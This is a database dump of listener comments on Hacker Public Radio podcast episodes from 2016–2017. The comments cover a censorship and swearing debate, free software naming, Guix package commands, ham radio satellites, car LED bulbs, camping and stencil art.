(1820,2193,'2016-12-28 06:02:30','Ken Fallon','HPR About Page','(This is a repost of the comment I made to the other discussions. As this show was posted before I made those comments it is still valid.\r\n\r\nRight now we have a \"Call for shows\" open.)\r\n\r\n\r\nHi All,\r\n\r\nThis ongoing discussion shows me that some of you are new to our community and are not up to speed with what HPR is all about. That\'s absolutely fine as we are all busy, so I have recorded a show hpr2195 ( See https://hackerpublicradio.org/eps.php?id=2195)  where we read the about page https://hobbypublicradio.org/about.php and the \"stuff you need to know\" page https://hobbypublicradio.org/stuff_you_need_to_know.php\r\n\r\nI would consider it a personal favour if everyone would take a timeout for a while, and focus on recording shows that \"are of interest to hackers\".\r\n\r\nThanks,\r\n\r\nKen.\r\n\r\n','2022-02-14 13:17:53'),
(1821,2193,'2016-12-28 09:58:50','Mike Ray','Points','Nobody commented on your \'good\' or \'clean\' podcast but the swearing resulted in a tidal wave of comment.  When was the last time you switched on the TV news and had to listen to the news reader telling you everything that had not happened that day?\r\n\r\nCensorship.  It is childish and naive to suggest there should never be any censorship.  Would you expect a podcast about how best to kill the greatest number of innocent public going about their legitimate business to be censored?  How about a podcast extolling the virtues of the sexual exploitation of minors?  Since you mentioned animals and harming them, seemingly in the name of a carnivorous lifestyle, how about a podcast about the best way to kill food animals without having to bother about pain reduction?\r\n\r\nNoise.  I would be just as likely to switch off a podcast in which every other word was \'awesome\' as one in which every other word was f***(ing).  Nothing you or I can do with Linux is awesome.  Black holes are awesome, as are huge storms, supernovae, solar coronal mass ejections, the size of the universe etc., but not Linux.  That\'s just noise, like unnecessary expletives.\r\n\r\nToday\'s podcast was good and worth listening to.  Congratullations','2017-09-09 07:41:35'),
(1822,2193,'2016-12-28 22:25:16','Matthew Jones','Wtf? ','Does it matter how much this kid says fuck?  The podcast was flagged as explicit? \r\n\r\n','2017-09-09 07:41:35'),
(1823,2193,'2017-01-04 07:31:50','AConcernedListener','Say what ever you want the way you want.','It is complete bullshit that people get offended over /words/ which are a part of the culture we are all occupying. As spaceman said, ACTIONS speak louder. I for one do not back censorship,and am quite concerned that any in this community would bow to the facists who /desire/ censorship. ','2017-09-09 07:41:35'),
(1824,2193,'2017-01-06 00:04:49','gws','no such thing as knowledge transfer','Sure, there\'s no One True Method for teaching; there\'s no one single style of learning. The point is not that you\'re out of order, it\'s that you\'re going to alienate your audience.\r\n\r\nIf show response is stochastic, then try not to become a statistic!','2017-09-09 07:41:35'),
(1825,2194,'2016-12-17 01:18:08','clacke','First repercussions?','China seizes American survey submarine drone right in front of the ship controlling it.\r\n\r\nPeople are speculating that this is a first act of retaliation against the president-elect\'s indication the he will favor Taiwanese independence.\r\n\r\nhttps://mobile.reuters.com/article/idUSKBN14526J','2022-02-14 13:17:54'),
(1826,2194,'2016-12-29 18:30:12','Ken Fallon','Fantastic','Please do more of these shows. ','2017-09-09 07:41:35'),
(1827,2194,'2016-12-30 01:44:25','Clinton Roy','Outstanding!','Thanks for doing this show. I didn\'t feel it was too long at all. Turn your bloody phone off ;)','2017-09-09 07:41:35'),
(1828,2194,'2016-12-30 06:31:06','b-yeezi','Informative history lesson','I truly appreciate this episode. Here in the US, we get a euro-centric view of history in our education system. It is great that you have done this history lesson, and makes some of the things going on in current geo-politics makes more sense.','2017-09-09 07:41:35'),
(1829,2194,'2016-12-31 11:55:20','clacke','Wow','Thanks all for your overwhelming feedback! I\'ll be less worried about going too long in the future, and I\'m less worried about what people will think of the veery long Guix episode coming up. :-)','2017-09-09 07:41:35'),
(1830,2194,'2017-01-02 14:42:49','Kevin O\'Brien','Excellent show!','As someone with a strong interest in both history and politics, I really enjoyed this program. I\'d love to hear more.','2017-09-09 07:41:35'),
(1831,2194,'2017-01-09 20:30:06','Victor O','','lol - I used to watch China Uncensored on youtube. I think China &amp; Russia have an inferiority complex because the rest of the world listens to the US.\r\n They only act to protect their interests. They see the US as an intruder to their sphere of influence. I think mainland China just wants asians to deal with asians affairs. It is convenient for them but thats what they want. Anyways the US (country of freedom) refused to allow the south to secede when they wanted to. And say Trump makes hispanics really angry  and regions dominated by hispanics so much they want to secede. The government will use military force to prevent it. I doubt any government today would allow a region to secede peacefully.','2017-09-09 07:41:35'),
(1832,2195,'2016-12-30 01:16:53','clacke','Text source','https://hackerpublicradio.org/stuff_you_need_to_know.php','2022-02-14 13:17:54'),
(1833,2195,'2016-12-30 01:42:54','clacke','Correction: Text source','Ah, after posting I realized that the text-to-speech is from several pages. Let\'s see if I got them all:\r\n\r\nhttps://hackerpublicradio.org/about.php\r\n\r\nhttps://hackerpublicradio.org/contribute.php\r\n\r\n\"More information\" detours into:\r\nhttps://hackerpublicradio.org/stuff_you_need_to_know.php\r\n\r\nhttps://hackerpublicradio.org/recording.php\r\nhttps://hackerpublicradio.org/request_a_slot.php\r\n\r\n\r\n\r\n\r\n\r\nHahaa! Love the end note. Quite a suitable form of delivery for these lyrics. :-)','2022-02-14 13:17:54'),
(1834,2197,'2016-12-29 02:58:28','sapceman','what about freedom?','How do you get the point of \"freedom matters\" across? in that sense open source would be a bug... because seeing the code != Free Software. It is possible to not be free even if you have access to the code. People need to get educated and get to know what is going on with software. I\'m laughing because no matter what topic: free software, free energy, veganism and nutrition. the majority of people just want an iPhone that scratches their balls and watch their drone synchronizing channels. but yeah keep in mind that open source doesn\'t mean you\'re free... so what word do you wanna use? I suggest free/libre or free with an explanation. the reason it\'s still around, is probably because there ain\'t a thousand ways to say freedom.','2017-09-09 07:41:35'),
(1835,2197,'2017-01-03 08:40:54','mcnalu','Language has a life of its own','You present a solid, clear argument Ken. Thanks for the show. My understanding of it is that they (RMS &amp; co) didn\'t fully appreciate the bug until people started using the term \'free\', ie it\'s a runtime bug. And once it\'s entered common usage it\'s hard, if not almost impossible, to alter that usage. For myself, I can live with the ambiguity by minding context and saying \"free and open source software\" when there\'s likely to be ambiguity.','2017-09-09 07:41:35'),
(1836,2197,'2017-01-04 06:47:56','brian','liberty','when we say freedom, I believe we mean liberty.  I have no problem with \"libre\", as it conveys the message without much misunderstanding.  I have a problem with open source, as much open source is still proprietary.','2017-09-09 07:41:35'),
(1837,2197,'2017-01-04 09:48:40','Ken Fallon','Replies','@spaceman - Yes Freedom matters. Had they named it \"Freedom Software\" then there would have been no disambiguity.\r\n\r\n@mcnalu - I don\'t believe it was a runtime bug as I said there were loads of examples at the time of both paid and gratis software (aside from the levels of Freedom). The term \"Free\" was also known to be the opposite of \"Paid\" at the time.\r\nChanging names has been done many times in the past, PostgreSQL, Inkscape, Wordpress, MariaDB, LibreOffice, Jenkins, etc. it\'s part and parcel of how \"Free\" Software works. RMS himself puts the better name as a reason why \"Open Source\" was so popular.\r\n\r\n@brian - I reported the bug. I leave it up to better minds such as yourself to apply the patch.','2017-09-09 07:41:35'),
(1838,2198,'2016-12-31 14:41:45','clacke','Correction: 8Sync 0.3!','The show notes are already out of date. Apparently Chris released 8Sync 0.3 two weeks ago!','2017-09-09 07:41:35'),
(1839,2198,'2017-01-04 06:43:07','brian','please more','preferably, basic example of user package management... I installed and really liked it, but as a non-programmer, I was a little overwhelmed with system management.','2017-09-09 07:41:35'),
(1840,2198,'2017-01-05 01:44:16','Jonas','Interesting!','That\'s interesting to know there is a virtualenv type thing for an entire user login as well as a \"distro\". I\'ll definitely have a look. It would be great to hear how your cohost is getting along with using Guix in his current setup a year later. ','2017-09-09 07:41:35'),
(1841,2198,'2017-01-05 16:47:14','clacke','Slides','This is not entirely helpful without narration (it\'s from a presentation I made), but maybe someone can glean some information from it:\r\n\r\nhttps://clacke.neocities.org/slides/guix.html\r\n\r\nEpisode idea: Narrate this. I will do it in February.','2022-02-14 13:17:55'),
(1842,2198,'2017-01-05 17:01:21','clacke','Everyday package operations','The most common operations I do are:\r\n\r\nguix environment --ad-hoc ncdu, where ncdu is something I heard about and want to try out, or something I only use once a month. It is then &ldquo;installed&rdquo; in the spawned sub-shell only. This is an awesome feature. (also, if you haven&rsquo;t heard about ncdu, look it up)\r\nguix package -i ncdu if it turned out to be something I like and use every day\r\nguix package pull to get the latest definitions for this user\r\nguix package -u to upgrade my permanently installed stuff for this user\r\nguix package -d to erase history of what I had installed before and release thise references for collection\r\nguix gc to reclaim my precious disk space\r\n','2017-09-09 07:41:35'),
(1843,2198,'2017-01-13 22:33:53','BiasOpinion','Working Programmer','Like many programmers out there I am stuck in the narrow focus of my job.  I found this episode informative and inspiring.  Big Thumbs Up!','2017-09-09 07:41:35'),
(1844,2198,'2017-02-25 12:28:55','clacke','Video','I did record a presentation using those slides in February, so I guess I won\'t record a show. Video here:\r\n\r\nhttps://www.lysator.liu.se/~clacke/video/2017-01-24_HK_Functional_Programming_guix_qscale_5.mp4\r\n\r\nThe latest Community News suggested though that my \"Everyday package operations\" comment deserved an episode, so I may record that.','2017-09-09 07:41:36'),
(1845,2199,'2017-01-06 00:06:25','NYbill','When is the new truck?','Eventually, Jon, will do an episode where he replaces the very last piece of the old truck. :P','2017-09-09 07:41:36'),
(1846,2199,'2017-01-06 11:26:38','Ken Fallon','Nooooo...','This truck is worth it\'s weight in shows. ','2017-09-09 07:41:36'),
(1847,2199,'2017-01-06 18:27:50','Jonathan Kulp','Just getting started','Don\'t worry y\'all, I expect this truck will give me episode topics regularly for a good while. I\'m gonna guess starter motor or ignition coil within the next year. Spark plugs, at least...','2017-09-09 07:41:36'),
(1848,2201,'2017-01-10 18:48:20','droops','Drachenblut','Dude, \r\n\r\nIts hard to listen to this episode thinking about you being gone. Thank you for being there for me and for everyone else too. I wish I had been a better friend to you. \r\n\r\nI did laugh when they mentioned \"long rambling conversations\". I can just hear you saying \"well ..... droops ..... \"\r\n\r\nThis was a great episode and it didn\'t do you enough justice. You were a great guy and we are all lesser without you. ','2017-09-09 07:41:36'),
(1849,2202,'2017-01-10 07:01:41','m1rr0r5h4d35','Awesome suggestions','I love Jimmy DiResta, and have spent more than a few hours on his channel myself. Looking forward to checking out some of the other channels you posted.','2017-09-09 07:41:36'),
(1850,2202,'2017-01-10 20:58:32','Victor O','','*thumbs up* I think making things is healthy. So what if factories make things a better and cheaper. Its not about that. Its about keeping our humanity. As a handyman we don\'t have to be so dependent on whats available. We have options.','2017-09-09 07:41:36'),
(1851,2202,'2017-01-12 02:56:46','dodddummy','','Iggy Swann is another I like. I\'m a bit of a Darbin Ovar stalker.  Paul Sellers, Diresta, and Primative Technology are like magic to me https://www.youtube.com/channel/UCAL3JXZSzSm8AlZyD3nQdBA\r\n\r\nAlready watch most on this list but there are about 5 I hadn\'t heard of.  Can\'t wait to check them out.','2017-09-09 07:41:36'),
(1852,2202,'2017-02-02 05:27:46','Jim Weda','Treat list....','You definitely put some time in being that you were able to put a great list together.I know when I was doing my search for great builders I could learn from I made sure I watched many of their videos until I felt confident and comfortable about turning to them for ideas and techniques.\r\n\r\nThanks for turning me on to a couple new names I hadn\'t ru&ntilde; into yet.can\'t wait to watch some of these since I really agree with the rest of the list.','2017-09-09 07:41:36'),
(1853,2206,'2017-01-17 10:41:34','pauleb','Update on Linux Luddites','Hey,\r\nprobably you recorded the podcast before the news were out. Linux Luddites, which really was a great show, ended with the new year. But two of the guys went on and started Late Night Linux as a follow up podcast. So to update the list also visit https://latenightlinux.com .\r\n\r\nAnd since you put them on your list I think I\'ll give TLLTS another go. I couldn\'t really get into them the first time I tried.\r\n\r\nbest wishes and thanks for all the content!\r\n\r\npauleb','2022-02-14 13:17:55'),
(1854,2206,'2017-01-18 03:18:33','reg a','Linux Luddites Update Info','Thanks pauleb.\r\nI had not listened to the last 2 Luddites podcasts when I submitted my list. \r\n\r\nThanks for the info,\r\n\r\nReg A','2017-09-09 07:41:36'),
(1855,2206,'2017-03-06 17:36:34','Bookewyrmm','thanks and sorry','Reg, \r\n\r\nThanks for the good show(s)! I had been looking for a podcast manager for my android phone and tried Podkicker! I am currently using the free version, and have been using it since about a week after your show aired.I have every intention of supporting the developer and buying the paid version! What a great little app!\r\n\r\nI will also be checking out some of the podcasts you mentioned!  \r\n\r\nThe sorry is for my taking so long to reply. ','2017-09-09 07:41:36'),
(1856,2207,'2017-01-20 18:23:03','Windigo','','What a cool spin on the podcast recommendation topic! I don\'t think I\'ve ever formally been introduced to the NATO phonetic alphabet, and your recommended podcasts sound intriguing as well.\r\n\r\nThanks, and welcome to Hacker Public Radio!','2017-09-09 07:41:36'),
(1857,2207,'2017-01-21 22:19:39','Clinton Roy','Thanks!','Thanks very much for this, it was a wonderful little episode. I heard this on a plane with all the noise surrounding me, it was interesting to re-listen to it with my headphone noise cancellation off and work out how good it was at carrying information when there is a lot of background noise :)','2017-09-09 07:41:36'),
(1858,2207,'2017-01-26 14:03:57','dodddummy','We called it fife, not five','If I\'m not mistaken, they taught us fife for 5 and tree for 3 when I was in the army.','2017-09-09 07:41:36'),
(1859,2208,'2017-01-19 14:37:42','Mongo','Camping the right way','I just listened to your excellent podcast on Kayak Camping in Louisiana. You have arrived at the right way of doing it and I enjoyed your story. For me, there is nothing better than waking up in the great outdoors. I tent camped for many years, sometimes from backpack or bicycle, but mostly from the car, and usually with dogs. Cheap gear (mostly), real food, no tech. Thank you for the podcast.','2017-09-09 07:41:36'),
(1860,2208,'2017-01-19 17:29:31','droops','Thanks','Thanks for your kind comment Mongo. \r\n\r\nAfter listening to the podcast again I left out something. Cheap gear is not the same as bad gear. You want quality gear but to not pay much for it. If I had a $400 tent and an ember burned a hole in it, I would be much more upset than when my $40 tent gets a hole. I try and test everything in my yard before relying on it (tent under a sprinkler) as to not bring worthless gear with me. \r\n\r\nThis kinda goes along with the more stuff you bring the worse of a time you have. Gear will get dirty and tear and melt and get lost. None of this stuff should be so precious that it ruins your time. Have backups of important things (fire-starting, water filtration, navigation) and just roll with it. ','2017-09-09 07:41:36'),
(1861,2208,'2017-01-19 17:48:36','Ken Fallon','Another vacation destination','He just invited us to stay !\r\n\r\n','2017-09-09 07:41:36'),
(1862,2208,'2017-01-19 19:25:01','droops','Vacation Destination?','Ken you know you are always welcome. Though if you overstay I may just leave you in the woods and come visit sometimes (and bring you batteries so you can keep running HPR like a champ). ','2017-09-09 07:41:36'),
(1863,2208,'2017-01-20 20:11:49','Jonathan Kulp ','Not a camper','I\'m not a camper but you made it sound like it\'s almost something I might wanna try someday. I definitely want to try kayaking around the waters here in Louisiana but am not sure about the camping bit. BTW I never realized you were in Louisiana. Gimme a holler if you come through Lafayette.','2017-09-09 07:41:36'),
(1864,2209,'2017-01-21 14:28:56','dodddummy','','I tried this and it works great. I don\'t remember if it was noted in the show but you need to supply the port number. On my kindle 3g with keyboard, it\'s hard to read the pages.  Had to play around with display settings and reload when the pages got garbled.  But it did work.  I think I\'ll probably plug in the 3gs if possible though because it takes me a while to get to the page.\r\n\r\nWorked much better on the Kindle dx.','2017-09-09 07:41:36'),
(1865,2209,'2017-01-21 18:53:28','Jonathan Kulp','Ports','Whoops, yes, must have port number appended to url. Glad it worked!','2017-09-09 07:41:36'),
(1866,2209,'2017-01-22 19:23:43','dodddummy','','I just tried it from one of my other 3gs and it was fine. So I compared the two side by side and noticed that the display on one has a display problem. I didn\'t notice it while reading books.  With that in mind, I\'ve changed my mind and will use this for the 3gs excluding the one with the display defect.','2017-09-09 07:41:36'),
(1867,2210,'2017-01-22 16:17:05','droops','Well Said','Very well said!','2017-09-09 07:41:36'),
(1868,2210,'2017-01-23 23:17:34','Bill Miller','Hello','Hey great podcast and I agree with you pretty much 100% I may not even agree with Spaceman but I totally support his right to express his opinion not matter how offensive it is to others. Hope to hear more from you!  ','2017-09-09 07:41:36'),
(1869,2212,'2017-01-26 13:35:30','Bill Miller','Great show','Listened to your show today and it brought back alot of memories as well. I went through almost the same thing in the timeline of your tech lifetime there and it reminded me of some of the great and not so great tech items we used to get to where we are now. Don\'t tell anyone. I STILL have some of those mini discs lol.','2017-09-09 07:41:36'),
(1870,2212,'2017-01-27 22:41:50','Quvmoh','','Hah!, starting to become a bit of disease, picked up a rack Minidisk deck off of craigs list, still have not told the wife :-)','2017-09-09 07:41:36'),
(1871,2212,'2017-02-01 19:50:04','Matt','MiniDisc brought me here...','MiniDisc is still going strong, and it was via the \'MiniDisc\' Facebook group that I discovered this link. As an online group they are approaching nearly 2,000 members, and shows that there still a sub-culture for the format!','2017-09-09 07:41:36'),
(1872,2212,'2017-04-08 03:27:54','1F','anti-hacker?','Thanks for the episode. Loved it.\r\n\r\nI consider S* hostile toward hackers, so while some of their innovations are interesting, I\'m done with anything carrying the S* name. I have a ps3 collecting dust, and that was my final straw. When they take hackers and makers to court just for trying to do cool and interesting stuff, they show just how anti-maker they are.\r\n\r\nThey have the track record to prove how poor their treatment of the user community is. Remember Beta vs VHS? Remember Memory Stick? Long history of failed cool stuff.\r\n\r\nSometimes it\'s difficult to put these things down, as they are so cool, but on principle, I put them down now.\r\n\r\n1F','2017-09-09 07:41:36'),
(1873,2213,'2017-02-10 05:24:58','brian','a clarrification','i want to impress the image of the clay particles and their memory, but it caused me to simplify both the formation of clay, and the aging of clay quite a bit... the more important mechanism is a chemical decomposition regarding both... mold, algae, beer, etc. can be very good for the aging process, and the mountain is more decomposed chemically than ground to dust...','2017-09-09 07:41:36'),
(1874,2214,'2017-01-26 19:12:23','Steve','What about the blinkers?','It was pretty funny. As I was sitting there listening to your episode, while you were changing the bulbs, I was thinking to myself, you know, I\'ll bet that an LED bulb would mess up the timing on the turn signal blinkers. And then your addendum... Nicely done. ','2017-09-09 07:41:36'),
(1875,2214,'2017-01-27 04:05:00','Clinton Roy','','So, if you replace an inefficient bulb with a high efficient LED and a resister of the same load, are you actually saving any power at all?','2017-09-09 07:41:36'),
(1876,2214,'2017-01-27 12:24:22','Jonathan Kulp','Probably not ','Nah, probably not saving power on the blinkers, but if you get 10x more life span as they claim and brighter lights, it\'s still worthwhile.','2017-09-09 07:41:36'),
(1877,2214,'2017-01-27 12:30:22','Jonathan Kulp','Blinkers','Steve, you\'re way ahead of me. I didn\'t even consider that this could happen to the blinkers until it actually happened and then I had to research to figure out what was going on. I don\'t understand electricity very well. :)','2017-09-09 07:41:36'),
(1878,2214,'2017-01-27 13:34:46','Ken Fallon','Smokin\' hot CANbus LED lamps. (230C in open air.)','https://www.youtube.com/watch?v=tkPGqM0Sl64\r\n\r\nFrom the \"bigclivedotcom \" channel\r\n\r\n','2017-09-09 07:41:36'),
(1879,2214,'2017-01-27 18:38:16','Jonathan Kulp','Yikes','Mine are not CANbus so hopefully won\'t have meltdowns!','2017-09-09 07:41:36'),
(1880,2216,'2017-02-04 13:57:46','Michael (mirwi), DL4MGM','Doppler shift','Hello Christopher,\r\n\r\nyou were wondering, why the Doppler shift was on the transmit side for the AO-85 satellite. Well, there is always Doppler shift on the uplink and downlink frequencies. Up and down are separated by using different frequency bands of 2m (VHF,145MHz) and 70cm (UHF,435MHz). As Doppler shift scales with frequency, it is obvious that the effect is thrice as severe on the 70cm frequency as opposed to 2m. Amsat Oscar 85 (AO-85) has a U/V transponder, which means the transmit direction towards the satellite is on UHF and thus experiences the greater Doppler shift. Some other satellites have V/U transponders, where the bigger shift effect will be seen on the output of the satellite. \r\n\r\nAnother entry for the list of things to explain, in a separate show or the amateur round table: \"What is this Doppler shift all about?\" The best way to demonstrate it would probably be a recording of the telegraphy telemetry beacon, many of the birds have, where you can easily hear the pitch of the tone changing while the satellite passes.\r\n\r\nBTW, I was not even aware that there was an AO-85... I have to keep more updated on this. :-)\r\n\r\nRegards,\r\nMichael','2017-09-09 07:41:36'),
(1881,2219,'2017-03-27 15:26:07','Regina Trolman','Loved it!','Thanks for all the information and advice.  Great content!','2017-09-09 07:41:36'),
(1882,2220,'2017-02-07 15:35:35','Alpha32','Oh man...','This was a real nail-biter. I really hope you had a grounding bracelet. Thanks for the look inside a tablet and thorough description.','2017-09-09 07:41:36'),
(1883,2221,'2017-02-06 21:33:52','brian','sorry','I will make a point of having better shownotes... I was on the \"audio is better than no audio\"... The show would have been a month out, if ever, if i prepared or researched... I apologize for the inconvenience to those who need them.','2017-09-09 07:41:36'),
(1884,2221,'2017-02-08 12:54:31','Ken Fallon','You did that unscripted ?','Hi Brian,\r\n\r\nYou hit me with my own catch phrase - touche \r\n\r\nI did not think for one second that you could do such a detailed show without referring to some form of a document digital or physical.\r\n\r\nGreat show - keep them up. We\'ll happily keep notes if needed.\r\n\r\nKen.','2017-09-09 07:41:36'),
(1885,2221,'2017-03-02 07:46:25','Krayon','OGGBot','There\'s also OGGBot in IRC that can do lookups. From it\'s help:\r\n    hpr ep[isode] \r\n    hpr ti[tle] [-i] \r\n    hpr ho[st]  [-i] \r\n    hpr la[test]\r\n    hpr sl[ot]\r\n\r\nSo to find shows about raspberry topics:\r\n    OGGBot: hpr ti -i raspberry\r\n\r\nWhich yields a channel message:\r\n    Found 8 matches, PMing you the first 6 (try refining your search)\r\n\r\nAnd a PM containing:\r\n    Episode 1721: Cross-compilers Part 2 by Mike Ray ( mike.nospam@nospam.raspberryvi.org ) ( https://hackerpublicradio.org/eps.php?id=1721 )\r\n    Episode 1712: What\'s in my Crate by Mike Ray ( mike.nospam@nospam.raspberryvi.org ) ( https://hackerpublicradio.org/eps.php?id=1712 )\r\n    Episode 1706: Cross-compilers part 1 by Mike Ray ( mike.nospam@nospam.raspberryvi.org ) ( https://hackerpublicradio.org/eps.php?id=1706 )\r\n    Episode 1649: Raspberry Pi Accessibility Breakthrough by Mike Ray ( mike.nospam@nospam.raspberryvi.org ) ( https://hackerpublicradio.org/eps.php?id=1649 )\r\n    Episode 1629: Banana Pi - First Impressions by Mike Ray ( mike.nospam@nospam.raspberryvi.org ) ( https://hackerpublicradio.org/eps.php?id=1629 )\r\n    Episode 1569: Many-to-many data relationship howto by Mike Ray ( mike.nospam@nospam.raspberryvi.org ) ( https://hackerpublicradio.org/eps.php?id=1569 )\r\n\r\nTwo things to note:\r\n    1. I need to make it not include the host name or email when searching\r\n       titles; and\r\n    2. I need to do an episode on OGGBot :/\r\n','2022-02-14 13:17:55'),
(1886,2227,'2017-02-28 14:10:07','b-yeezi','For the whole series','I wanted to leave one comment for the series of FOSDEM interviews. Thank you so much for these episodes. They were a pleasure to listen to. I wish I could have attended. It makes me want to record at least one episode from SCALE, which I will be attending.','2017-09-09 07:41:36'),
(1887,2229,'2017-02-16 17:54:12','Guido','Great to hear about the big picture','As someone who is putting on an open source conference in Boston, I find it hard to get a feel for where the community is locally. I really enjoyed this interview and discussion about how to enable organizers with tools for conferences.','2017-09-09 07:41:36'),
(1888,2235,'2017-02-28 00:34:23','Kevin O\'Brien','Great Interviews!','I just finished listening to them today, and they are great! I hope you can do more in the future. ','2017-09-09 07:41:36'),
(1889,2236,'2017-02-21 21:43:36','sigflup','right on','Very good show! ','2017-09-09 07:41:36'),
(1890,2236,'2017-02-28 02:46:24','jezra','Wonderful','When you mentioned that the RPis are general computer computers, it really resonated with me that they are also ideal for an \"always on\" computer due to their low power consumption. \r\n\r\n\r\n','2017-09-09 07:41:36'),
(1891,2236,'2017-03-29 20:48:50','Alpha32','Great!','Great show! But, it seems the hpr robot voice thinks you\'re hoarding raspberry piss:-(','2017-09-09 07:41:36'),
(1892,2236,'2017-04-07 19:55:11','Dave Morriss','Pis or Pi\'s','I\'d have added an apostrophe to the plural of Pi, but it\'s generally thought to be wrong (even though espeak then pronounces it in the non-urinary way). I have seen someone suggest it should be \"Raspberries Pi\" but that seems silly. ','2017-09-09 07:41:36'),
(1893,2236,'2017-04-08 09:59:31','Mike Ray','Pis or Pi\'s','The apostrophe is definitely wrong, but as a screen-reader user this is a thing I struggle with constantly when writing pages and blog posts. Writing Pis definitely gives a pronunciation that is undesirable.  May be it would have been easier if Ebben Upton hadn\'t made the mistake of calling it a Pi instead of a Py. The Pi part was supposed to be short for Python but, hard to believe, he got it wrong','2017-09-09 07:41:36'),
(1894,2239,'2017-02-08 05:52:47','operat0r','YuMMM hacking meat','I just got like 4lbs of deer meat :) teriyaki alton brown','2017-09-09 07:41:36'),
(1895,2239,'2017-03-03 03:02:35','jezra','','That sounds amazing. Do you know if it is a doe or a buck?\r\n\r\n','2017-09-09 07:41:36'),
(1896,2239,'2017-03-23 01:07:10','@einebiene','Mhhhhh','sounds great!','2017-09-09 07:41:36'),
(1897,2240,'2017-03-09 01:08:36','davidWHITMAN','Ham Radio Roundtable','Nice show. I hope there are many more. I would like to ask for a detailed explanation of how the length of a frequency is measured (2 meters?), what frequency is most powerful, and how modulation works. And of course.....is ET trying to contact me? ','2017-09-09 07:41:36'),
(1898,2245,'2017-03-10 00:23:00','Mike Ray','Erm...','See show 1569:\r\n\r\nhttps://hackerpublicradio.org/eps.php?id=1569\r\n\r\nHow to do a many-to-many relationship in a database.\r\n\r\n','2022-02-14 13:17:55'),
(1899,2245,'2017-03-10 10:40:05','Dave Morriss','Oops!','Sorry Mike,\r\n\r\nI hadn\'t forgotten your excellent show. It\'s been in my list of references all along. However, since I started by designing a single show which then got split into three, reference to show 1569 got relegated to the last show in the series.\r\n\r\nI didn\'t quite appreciate the effect that would have, since the three shows were still one in my head. As it stands it looks as if I have disregarded your contribution, whereas what I had wanted to do was move slowly towards it, looking at possible alternatives and showing their advantages and disadvantages along the way.\r\n\r\nShow two is in the queue for the 31st March, but show three is still in production. It will be the next show I upload though.\r\n\r\nDave','2017-09-09 07:41:36'),
(1900,2245,'2017-03-10 16:42:55','Mike Ray','Listen to the entities','Wherever possible all database design should be driven by what the entity relationship is telling you, and Mr Codd should be obeyed.\r\n\r\nIn this case there are just two entities; \'show\' and \'tag\'.  And their relationships are:\r\n\r\nShow can have one or more tags\r\n\r\nTag can appear attached to one or more show.\r\n\r\nWhich gives rise to the many-to-many relationship like this:\r\n\r\nshow------tag\r\n\r\nThe show_tag_xref table has a compound unique key comprised of the key column from the two outside tables, show and tag.\r\n\r\nThat\'s the pure analysis of the two entities concerned.\r\n\r\nI can\'t think of any processing constraints, like speed or storage that would compel that relationship to be compromised.  As you said in your part 1, this is a small database.\r\n\r\n','2017-09-09 07:41:36'),
(1901,2246,'2017-03-16 17:04:40','Windigo','Good idea','I\'ve run into this with some of the RSS feeds I have subscribed to, and had never thought about creating a secondary re-feeder feed to fix it. Brilliant!','2017-09-09 07:41:36'),
(1902,2248,'2017-03-16 00:57:08','Clinton Roy','','Some interesting stuff, but I gave up when the conversation turned to rape on college campuses.','2017-09-09 07:41:36'),
(1903,2249,'2017-03-16 02:41:48','Clinton Roy','','Aaaand I gave up on this one about twenty minutes in when birtherism came up. I really like the concept of the new year show, but it feels like it\'s gone completely off the rails.','2017-09-09 07:41:36'),
(1904,2249,'2017-03-27 17:33:43','Ken fallon','Fact check Scotland brexit not 100%','Scotland has voted in favour of the UK staying in the EU by 62% to 38% - with all 32 council areas backing Remain.\r\n\r\n.....\r\n\r\nTurnout in Scotland was 67% \r\n\r\n\r\n....\r\nhttps://www.bbc.com/news/uk-scotland-scotland-politics-36599102\r\n','2022-02-14 13:17:56'),
(1905,2249,'2017-04-03 22:37:46','dodddummy','New Episode Title: Conspriacy Gate!','WOW! this show was something else. I didn\'t realize there were so many conspiracy wonks in the group.  \r\n\r\nRegarding the !00% figure on Scotland voting to remain, I think he was referring to 100% of the areas, not actual voters. I assume Ken\'s quote \'with all 32 council areas backing Remain.\' confirms that.','2017-09-09 07:41:36'),
(1906,2249,'2017-04-14 11:08:21','Frank','Windows on top','Windows actually supports the always-on-top function. It just has no GUI means of activating it. But some programs use it, most prominently media players.\r\n\r\nThere are third-party tools which make it available globally, such as Ac\'tivAid, written by the staff of German computer magazine c\'t. A quick English installation guide is at https://www.makeuseof.com/tag/pimp-windows-autohotkey-scripts-activaid-2/\r\nAc\'tivAid also brings other Linux-Goodies, such as drag a window with Alt+LMB.','2022-02-14 13:17:56'),
(1907,2249,'2017-05-22 05:22:21','Ethan William','','Thank you','2017-09-09 07:41:36'),
(1908,2252,'2017-03-22 23:52:07','clinton roy','','I nearly made it all the way through this one. There was some interesting content on the lazarus-ide.org project.','2017-09-09 07:41:36'),
(1909,2253,'2017-03-22 00:49:22','Clinton Roy','Thank you','This was great! thank you for uploading.','2017-09-09 07:41:36'),
(1910,2253,'2017-03-22 22:50:20','Bob Jonkman','Consultant','Hi @EineBiene: Do you have a template file for that Anarchist Carrot image? An .svg or an .xcf or an .odg, or even a .pdf?\r\n\r\nThanx!\r\n-- @BobJonkman@sn.jonkman.ca','2017-09-09 07:41:36'),
(1911,2253,'2017-03-22 23:54:48','einebiene','German Download Page','Hey Bob,\r\n\r\nhere\'s a German Download page for political art stencils, the carrot is among them: https://kreaktivisten.org/downloadbereich/stencils/#umwelt','2017-09-09 07:41:36'),
(1912,2253,'2017-03-23 00:24:35','brian','food not bombs','that is one of the \"Food Not Bombs\" logos','2017-09-09 07:41:36'),
(1913,2253,'2017-03-23 01:23:35','ph','','Sehr gut!  Danke!','2017-09-09 07:41:36'),
(1914,2253,'2017-03-23 04:03:24','b-yeezi','Welcome new host!','Thanks for the new episode. It was well done and easy to follow. The process you described reminded me of a silk screening class I took long ago. I think I will try this out some time soon. Keep the episodes coming!','2017-09-09 07:41:36'),
(1915,2253,'2017-03-24 02:56:06','Bob Jonkman','Consultant','Thanx  for the link, @EineBiene! There are a lot of good designs (motifs) on that page!\r\n\r\n--Bob.','2017-09-09 07:41:36'),
(1916,2253,'2017-03-30 19:49:55','droops','Very cool','I am doing this with the kids tonight. My wife has a Cricut but its way more fun using knifes!','2017-09-09 07:41:36'),
(1917,2253,'2017-04-03 09:30:12','Mikael','Thank you','Nice episode, Biene.\r\nAnd congratulations to your first HPR contribution! :)','2017-09-09 07:41:36'),
(1918,2253,'2017-04-03 22:25:26','@eineBiene','@all','Thank you all for your comments. This is really encouraging. :-)','2017-09-09 07:41:36'),
